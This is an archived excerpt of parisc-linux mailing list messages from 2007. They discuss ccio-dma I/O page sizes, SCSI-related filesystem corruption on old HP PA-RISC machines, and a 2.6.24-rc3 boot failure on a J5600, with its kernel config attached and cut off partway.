X-GMX-Htest: 0.46
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0IxZc59Of2I+KoicY2xodpNwdWxlc5b5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25481

> On Sat, Nov 24, 2007 at 08:36:03PM +0000, Joel Soete wrote:
> > Hello Grant, Kyle,
> >
> > I finaly find an interesting paper on this Runway bc:
> > <http://www.hpl.hp.com/hpjournal/96feb/feb96a6.htm>
> 
> Yeah, I read that article around the time it was published.
> I was fortunate to have worked with Todd Kjos in the same group.
> 
Clear and accurate paper ;-)

> > I read it but i don't yet understand it in deep but this detail:
> > "The lower 12 bits of the address must be left alone because of the 4K-byte 
> > page size defined by the architecture."
> >
> > make me think that the IOVP_SHIFT of this ccio-dma driver would be always 
> > 12 what ever could be the PAGE_SHIFT
> 
> The 12-bits per page (4k pages) is hard wired for the PA1.1 machines. 
> 
Ok but paper spoke of pa7200 (pa1.1) _and_ pa8000 (afaik pa2.0), so aware of
new cpu capability, but my understanding is that I/O page size seems to me it
could be different then cpu page size and would be fixed to 4k because of
"Block ID" size of 12bits?

That said, paper only spoke of J/K model.
C1xx and Dxxx are model which looks like J but some subtitle difference could
exist.

> > (it's not yet possible but for pa8000 and later it could be greater)?
> 
> Right. PA2.0 machines can support variable page sizes and parisc-linux
> has "almost working" support bigger page sizes.
> 
What's up for hpux?

> > That said for the moment IOVP_SHIF == PAGE_SHIFT so couldn't be the reason 
> > of the followings issues.
> 
> Right, there might be other caching issues still though.
> 
> > On my d380, I reach to re-iterate some stress test on scsi ncr53c720 and 
> > LASI 53c700 with a simple read/write loop like:
> > # while true ; do nice -n -3 tar -xspf linux-2.6.11-rc3-pa3.tar ; nice -n 
> > -3 rm -rf linux-2.6.11-rc3-pa3 ; date ; done
> 
> Sorry...same questions again:
> 	SMP or UP kernel?
Sorry UP only (one pb at a time)
[that said, my personal experiments with linux kernel (as well as hppa as
i386) don't make me expect a lot of smp stuff]

> 	Which kernel version?
> 
Currently 2.6.23-pa (kyle's pa git tree)
(but pb was there since the beginning of 2.6. IIRC I made only very few test
with 2.4)

> 
> > With a fs build on a disk connected to a 53c710 hba, with or without my bp 
> > patch, unfortunately I always got same errors after some loop's occurence:
> > scsi3: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
> >  scsi3: Bus Reset detected, executing command 10a304e0, slot 10a0864c, dsp 
> > 001681e8[01e8]
> >   failing command because of reset, slot 10a08520, cmnd 10a30720
> ...
> > [snip]
> >
> > (this same disk connected to same lasi 53c710 of a b180 i.e. without 
> > ccio-dma could loop severall days without showing any issue)
> 
> B180 is using uncached memory for it's control data and this has a
> very different CPU timing. It's hard to say if the problem is a
> memory ordering issue in zalon support or a bug in ccio driver.
> 
> sorry, can't be more precise than that.
> 
No pb, thanks any way for your attention,

    J.
> cheers,
> grant
> 
> > datazone - block = 1714387061, count = 1
> > [snip]
> >
> > With the original ccio-dma driver it occures after few occurence of the 
> > loop (about 5) but my patch only delay the pb to several houres (not 
> > useless work but not yet enough).
> >
> > Any way fs is corrupted and this bring me to next major issue with my c110 
> > (using same ncr53c720, lasi 53c710 and ccio-dma drivers as d380). This box 
> > was sleeping till about a year, so I removed additional ram kit of 512Mb 
> > for another usage and restored original ram of 64Mb, but internal boot disk 
> > stay unchanged connected to the ncr53c720 hba.
> > When I tried to reboot it some weeks ago with an existing & known working 
> > kernels (from the time system still own 512Mb; e.g. 2.6.8.1-pa7, 
> > 2.6.14-pa0, 2.6.19), it started to make a fsck obviously but this always 
> > sadely (fsck generating a fs corrution, well not directly but by border 
> > effect) ended by fs corruption too. That's only with the very old debian 
> > install kernel 2.4.17-32 that I reach to reboot this system to install 
> > latest 2.6.23-pa.orig and 2.6.23-pa+patch kernels. I could also reach to 
> > reboot this box with latest mentioned kernels but as soon as I launched an 
> > 'apt-get dist-upgrade' (after a update obviously) fs corruption occured 
> > again. I was inocently expecting that after some reboot, fsck and renew 
> > dist-upgrade, I would finaly recover a system operational like my d380. But 
> > I was wrong and after 2 or 3 reboot this box became not-bootable anymore 
> > (having lost too much critical files on the root fs :_().
> >
> > [Sade sade sade to me: in 10 years of linux, it's the very first time I 
> > lost a system because of sw issue :__(]
> >
> > All this story to say in summary, a d380 with 256Mb of ram works more or 
> > less fine (if I don't stress scsi disk) but a c110 with few 64Mb is not 
> > usable at all (with either original or patched 2.6.23-pa kernels)?
> >
> > I have the filing that some cache coherency (I/O, mem??) lakes somewhere 
> > but I didn't understand where/what is the code that do it now, so if you 
> > have some more time to pin point it to me, I would greatly appreciate.
> >
> > TIA,
> > 	J.
> >
> 
> 
---
Pack Scarlet One, ADSL 6 Mbps + Telephonie, a partir de EUR 29,95...
http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Mon, 26 Nov 2007 16:27:39 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <20071126232739.GB19757@colo.lackof.org>
References: <JS3V5C$A9DBFEF8AAD8958A4E1B90A528CCEE62@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624654 28608 80.91.229.3 (22 Nov 2014 02:50:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:54 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 19:04:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 20 Dec 2007 20:04:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9F5807DCC9;
	Thu, 20 Dec 2007 12:04:57 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id nLnFP8KtObo2; Thu, 20 Dec 2007 12:04:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76EA27DD43;
	Thu, 20 Dec 2007 11:41:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE3777D427
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Nov 2007 16:28:07 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id sVh6kDkPPeOc for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Nov 2007 16:27:55 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2B34A7D426
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Nov 2007 16:27:55 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 6B53A494007; Mon, 26 Nov 2007 16:27:59 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 3C631494006
	for <parisc-linux@parisc-linux.org>;
	Mon, 26 Nov 2007 16:27:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B41034F85A3;
	Mon, 26 Nov 2007 16:27:57 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20694-02; Mon, 26 Nov 2007 16:27:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 05F284F859F; Mon, 26 Nov 2007 16:27:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <JS3V5C$A9DBFEF8AAD8958A4E1B90A528CCEE62@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.48
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6ItYdmoXIyd0IvqQe2drRNZaa2FkZlU2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25482

On Mon, Nov 26, 2007 at 09:48:48AM +0100, Joel Soete wrote:
...
> > The 12-bits per page (4k pages) is hard wired for the PA1.1 machines.
> >
> Ok but paper spoke of pa7200 (pa1.1) _and_ pa8000 (afaik pa2.0), so aware of
> new cpu capability, but my understanding is that I/O page size seems to me it
> could be different then cpu page size and would be fixed to 4k because of
> "Block ID" size of 12bits?

J/K first released with PA1.1. PA8000 (PA2.0) was release Jan 2006
 (See http://www.openpa.net/pa-risc_processors.html#xu) and I think this
paper was originally targeted at PA1.1. The reference to (12-bit) is probably
just a "bug" in updating the paper for PA2.0.

> That said, paper only spoke of J/K model.
> C1xx and Dxxx are model which looks like J but some subtitle difference could
> exist.

C1XX is UP. Dxxx is _very_ similar to J (SMP and many of the same IO options).

> > Right. PA2.0 machines can support variable page sizes and parisc-linux
> > has "almost working" support bigger page sizes.
> >
> What's up for hpux?

Can you be more specific?
hpux definitely support variable page sizes (Look for "POP" == Performance
Optimized Pagesize in HP literature in mid-late 1990's). But HPUX ccio driver
continues to use 4K pages because the IO TLB can't change the page size
for each TLB entry like the CPU TLB can.  AFAIK U2/U-Turn both are fixed
on which page size the support. That would work fine with linux since we
just increase the base page size (e.g. 16k or 64k pages for IA64).

> > > # while true ; do nice -n -3 tar -xspf linux-2.6.11-rc3-pa3.tar ; nice -n
> > > -3 rm -rf linux-2.6.11-rc3-pa3 ; date ; done
> >
> > Sorry...same questions again:
> > 	SMP or UP kernel?
> Sorry UP only (one pb at a time)
> [that said, my personal experiments with linux kernel (as well as hppa as
> i386) don't make me expect a lot of smp stuff]
> 
> > 	Which kernel version?
> >
> Currently 2.6.23-pa (kyle's pa git tree)
> (but pb was there since the beginning of 2.6. IIRC I made only very few test
> with 2.4)

hrm. ok...I'll try the same on one of my a500's and see if that's
reproduceable there as well.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [parisc] 2.6.24-rc3 (64-bit,
	smp) fails to boot on 9000/785/J5600
Date: Tue, 27 Nov 2007 10:47:09 +0100
Lines: 1980
Approved: news@gmane.org
Message-ID: <200711271047.10120.elendil__14970.6309232444$1416624654$gmane$org@planet.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_ee+SHyuwOrLPuSq"
X-Trace: ger.gmane.org 1416624654 28610 80.91.229.3 (22 Nov 2014 02:50:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:54 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 19:09:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 20 Dec 2007 20:09:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1934F7F795;
	Thu, 20 Dec 2007 12:09:28 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id I-68eC9Etyrz; Thu, 20 Dec 2007 12:09:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2F9C7F796;
	Thu, 20 Dec 2007 11:49:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AA677D426
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 02:59:40 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id npJ8+i6ZTC3A for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 02:59:27 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 379037D417
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 02:59:27 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 92068494006; Tue, 27 Nov 2007 02:59:31 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 735 seconds by postgrey-1.27 at palinux;
	Tue, 27 Nov 2007 02:59:30 MST
Original-Received: from hpsmtp-eml11.kpnxchange.com (hpsmtp-eml11.KPNXCHANGE.COM
	[213.75.38.111])
	by mail.parisc-linux.org (Postfix) with ESMTP id 989FA494007
	for <parisc-linux@parisc-linux.org>;
	Tue, 27 Nov 2007 02:59:30 -0700 (MST)
Original-Received: from hpsmtp-eml06.kpnxchange.com ([213.75.38.106]) by
	hpsmtp-eml11.kpnxchange.com with Microsoft SMTPSVC(6.0.3790.1830); 
	Tue, 27 Nov 2007 10:47:13 +0100
Original-Received: from faramir.fjphome.nl ([84.85.147.182]) by
	hpsmtp-eml06.kpnxchange.com with Microsoft SMTPSVC(6.0.3790.1830); 
	Tue, 27 Nov 2007 10:47:12 +0100
User-Agent: KMail/1.9.7
X-OriginalArrivalTime: 27 Nov 2007 09:47:12.0490 (UTC)
	FILETIME=[7C34D4A0:01C830DA]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.45,0.6
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3IVfcyp1RkkfWauPfGRq6KBmdWkvKJMj
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25483

--Boundary-00=_ee+SHyuwOrLPuSq
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

(resending as address for port list was incorrect)

v2.6.24-rc3-19-g2ffbb83 fails very early in the boot procedure.
2.6.23 compiled with similar config boots fine.

System is running Debian unstable; kernel was compiled using gcc 4.1.2.

Cheers,
Frans Pop

Boot messages for 2.6.24
------------------------
Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 
palo_kernel='
Selected kernel: /vmlinuz-2.6.24-rc3 from partition 2
Selected ramdisk: /initrd.img-2.6.24-rc3 from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 4648960 mediaptr 0x1000
Segment 1 load 005c4000 size 689216 mediaptr 0x470000
Loading ramdisk 3078237 bytes @ 3fcff000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.24-rc3 (root@treebeard) (gcc version 4.1.3 20071019 
(prerelease) (D7
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d10 00000491 00000000 00000002 778fe5fc 100000f0 00000008 
000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/J5600
Total Memory: 2048 MB
initrd: 7fcff000-7ffee85d
initrd: reserving 3fcff000-3ffee85d (mem_max 80000000)
LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 517120
Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 
palo_kernel=2/vml3
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Memory: 2051840k/2097152k available (3103k kernel code, 44736k reserved, 
1388k data, )
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x00000000c0000000   (2048 MB)
      .init : 0x0000000040624000 - 0x000000004066d000   ( 292 kB)
      .data : 0x0000000040407fb0 - 0x0000000040563000   (1388 kB)
      .text : 0x0000000040100000 - 0x0000000040407fb0   (3103 kB)
<system hangs and needs power cycle>


Diff between 2.6.23 and 2.6.24 config
-------------------------------------
$ diff -u /boot/config-2.6.23 /boot/config-2.6.24-rc3 | grep "^[+-][^#]"
--- /boot/config-2.6.23 2007-11-27 08:01:51.000000000 +0000
+++ /boot/config-2.6.24-rc3     2007-11-27 08:50:10.000000000 +0000
+CONFIG_FAIR_GROUP_SCHED=y
+CONFIG_FAIR_USER_SCHED=y
+CONFIG_BLOCK_COMPAT=y
+CONFIG_PCI_LEGACY=y
+CONFIG_INET_LRO=m
+CONFIG_NETFILTER_XT_MATCH_TIME=m
+CONFIG_NET_ACT_NAT=m
+CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+CONFIG_IDE_ARCH_OBSOLETE_INIT=y
+CONFIG_SCSI_SRP_ATTRS=m
+CONFIG_FIXED_MII_AMNT=1
+CONFIG_SSB_POSSIBLE=y
+CONFIG_SSB=m
+CONFIG_SSB_PCIHOST_POSSIBLE=y
+CONFIG_SSB_PCIHOST=y
+CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
+CONFIG_SSB_DRIVER_PCICORE=y
+CONFIG_SND_AC97_POWER_SAVE_DEFAULT=0
+CONFIG_PRINT_QUOTA_WARNING=y
-CONFIG_RAMFS=y
+CONFIG_NETWORK_FILESYSTEMS=y
+CONFIG_INSTRUMENTATION=y
+CONFIG_ENABLE_WARN_DEPRECATED=y


Full 2.6.24 config
------------------

--Boundary-00=_ee+SHyuwOrLPuSq
Content-Type: text/plain;
  charset="us-ascii";
  name="config-2.6.24-rc3"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
	filename="config-2.6.24-rc3"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.24-rc3
# Mon Nov 26 18:45:54 2007
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_IRQ_PER_CPU=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
# CONFIG_TASKSTATS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
CONFIG_AUDIT=y
CONFIG_IKCONFIG=y
# CONFIG_IKCONFIG_PROC is not set
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_CGROUPS is not set
CONFIG_FAIR_GROUP_SCHED=y
CONFIG_FAIR_USER_SCHED=y
# CONFIG_FAIR_CGROUP_SCHED is not set
CONFIG_SYSFS_DEPRECATED=y
# CONFIG_RELAY is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_ANON_INODES=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
CONFIG_RT_MUTEXES=y
# CONFIG_TINY_SHMEM is not set
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODVERSIONS=y
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_KMOD=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_BLK_DEV_IO_TRACE is not set
# CONFIG_BLK_DEV_BSG is not set
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
# CONFIG_PREEMPT_BKL is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
# CONFIG_SPARSEMEM_STATIC is not set
# CONFIG_SPARSEMEM_VMEMMAP_ENABLE is not set
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_RESOURCES_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_COMPAT=y
CONFIG_NR_CPUS=8

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
CONFIG_ISA=y
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
CONFIG_PCI_LEGACY=y
# CONFIG_PCI_DEBUG is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_MISC=m

#
# Networking
#
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
CONFIG_NET_IPIP=m
CONFIG_NET_IPGRE=m
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
